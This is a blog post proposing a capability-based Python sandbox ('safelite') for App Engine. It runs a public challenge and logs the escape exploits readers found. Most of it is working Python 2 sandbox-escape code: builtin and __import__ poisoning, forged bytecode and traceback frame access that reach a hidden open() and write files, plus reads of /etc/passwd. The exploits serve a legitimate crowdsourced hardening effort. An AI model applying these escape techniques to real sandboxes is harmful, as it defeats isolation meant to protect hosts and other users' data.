But with an object capability based framework in place, you could give users the capability to execute Genshi templates without worrying about them somehow getting access to your database.

And the nice thing about App Engine is that they already have something similar to PyPy's sandbox running — so your users won't be able to segfault your processes.

UserScripts: Python Services in Apps

Web applications like Twitter and Facebook provide APIs which let developers write services which run on their own servers. Imagine instead a ‘Plex’ application on App Engine which allowed users to create and run arbitrary Python services on their data.

Not only would this save resources — how many copies of Twitter's database are there?? — but it could allow for interesting and composable services. Perhaps even a command line for the internet?

Services could be provided with a minimal __builtins__ which allowed them to access the current user's data and not anyone else's.

Here's a minimal example to get you thinking:

def create_safe_get(user_id, db=db):
    def _safe_get(key_name):
        return db.get(user_id + key_name)
    return _safe_get

safe_builtins['db_get'] = create_safe_get('tav')

exec(service, {'__builtins__': safe_builtins})

There are lots and lots of possibilities — imagine a GreaseMonkey-like system but running on the server-side and with Python… the possibilities are only limited by our imagination.

But in order for any of this to be possible, the patch has to be accepted first. Guido has already promised to accept the patch (for both Core Python and App Engine!) if it gets reviewed.

So, if you are a Python-Dev-er, can you please review it:

• http://codereview.appspot.com/20051/show

If not, can you at least let Python-Dev know that you'd like to see this patch through? Thanks!

Let me know what you think in the comments below.

— With love, @tav

The challenge is simple:

• Open a fresh Python interpreter and do:

  >>> from safelite import FileReader
  

• You can use FileReader to read files on your filesystem

• Now find a way to write to the filesystem from your interpreter

You can find the latest version of safelite.py here:

• http://github.com/tav/scripts/blob/master/safelite.py [Current: v12]

I will keep safelite.py updated as new exploits and workarounds are found until we hopefully end up with a version we can be confident about. [VERSION attribute added on Steven D'Aprano's recommendation.]

If enough smart hackers look at this and it holds up, Guido promises to accept a patch which would enable this function-based approach to security on both App Engine and future Python versions.

So, please try the challenge and let me know how you find it in the comments. Thanks!

Note: The aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count.

Good luck and thanks! =)

Exploits Found & Fixed So Far:

• Victor Stinner and Tim Wintle found the first exploit:

  >>> reload(__builtins__)
  <module '__builtin__' (built-in)>
  
  >>> open('0wn3d', 'w').write('w00t\n')
  

  [Fixed in v2]

• Guido van Rossum and Mark Eichin came up with this devious:

  >>> class S(str):
  ...     def __eq__(self, o): return 'r' == o
  
  >>> f = FileReader('w00t', S('w'))
  
  >>> f.close() # creates an empty file called 'w00t'
  

  [Fixed in v3]

• clsn took it further and bypassed the fix in v4:

  >>> class S(str):
  ...     def __eq__(self, o): return 'r' == o
  ...     def __str__(self): return self
  

  [Fixed in v5]

• Mike Rooney started messing with the assumptions of builtins being unaltered:

  >>> __builtins__.str = S
  

  [Fixed in v5]

• Farshid Lashkari then took it to a whole new elegant level:

  >>> _real_file = None
  
  >>> def _new_isinstance(obj,types):
  ...     global _real_file
  ...     if _real_file is None and obj.__class__.__name__ == 'file':
  ...         _real_file = obj.__class__
  ...     return _old_isinstance(obj,types)
  
  >>> __builtins__.isinstance = _new_isinstance
  >>> FileReader('nul')
  
  >>> f = _real_file('foo.txt', 'w')
  

  [Fixed in v5]

• Guido van Rossum noted that FileReader's __metaclass__ was accessible:

  >>> f = FileReader('/etc/passwd')
  >>> kall = f.__class__.__metaclass__.__call__.im_func
  
  >>> kall(f.__class__.__metaclass__, [('foo', 47)])
  <type 'list'>
  
  >>> f.__class__.__metaclass__.foo
  47
  

  [Locked-down in v6 before he could do any real damage ;p]

• Paul Cannon did the unexpected with his super hardcore exploit:

  >>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(
  ...   2, 2, 4, 67,
  ...   'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
  ...   (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)
  ... )
  
  >>> try:
  ...     FileReader('foo', 2)
  ... except:
  ...     pass
  
  >>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')
  

  [Fixed in v6 — but the principles can still be used. Paul Cannon explains in depth.]

• Daniel Diniz emailed in with this devastating mugging:

  from safelite import FileReader
  
  # Let's build a fake module
  warnings = __builtins__.__class__('warnings')
  
  # Fill it with deception
  warnings.default_action = "ignore"
  
  # And provide a supporting thug
  def __import__(*args):
      print args
      try:
          print "How nice:\n", args[1].keys()
          global sys
          sys = args[1]['sys']
      except Exception, v:
          print "Exception:", v
      return warnings
  
  # Put the bogus module at the doorstep...
  __builtins__.warnings = warnings
  
  # and have the thug replacing the doorman
  __builtins__.__import__ = __import__
  
  # An unsuspecting costumer passes by...
  FileReader('safelite.py').seek(1.1)
  
  # ... and is brutally mugged :)
  print sys
  print dir(sys)
  

  [Fixed in v7]

• Nick Coghlan got evil with context managers:

  >>> class EvilCM(object):
  ...     def __enter__(self):
  ...         return self
  ...     def __exit__(self, exc_type, exc, tb):
  ...         tb.tb_next.tb_frame.f_locals['open_file']('w00t', 'w').write('yay!\n')
  ...         return True
  
  >>> with EvilCM():
  ...     FileReader(10, 12)
  

  [Fixed in v8]

• Guido van Rossum emailed in with ways to trick trusted code to evaluate unsafe code in its own globals!! [See also his similar hack with eval in the comments below].

  >>> f = FileReader('/etc/passwd')
  >>> f.__class__.__int__ = input
  
  >>> f.read(f)
  (fileobj.__class__('/tmp/w00t', 'w').write('w00t\n'), 0)[1]
  

  [Fixed in v9]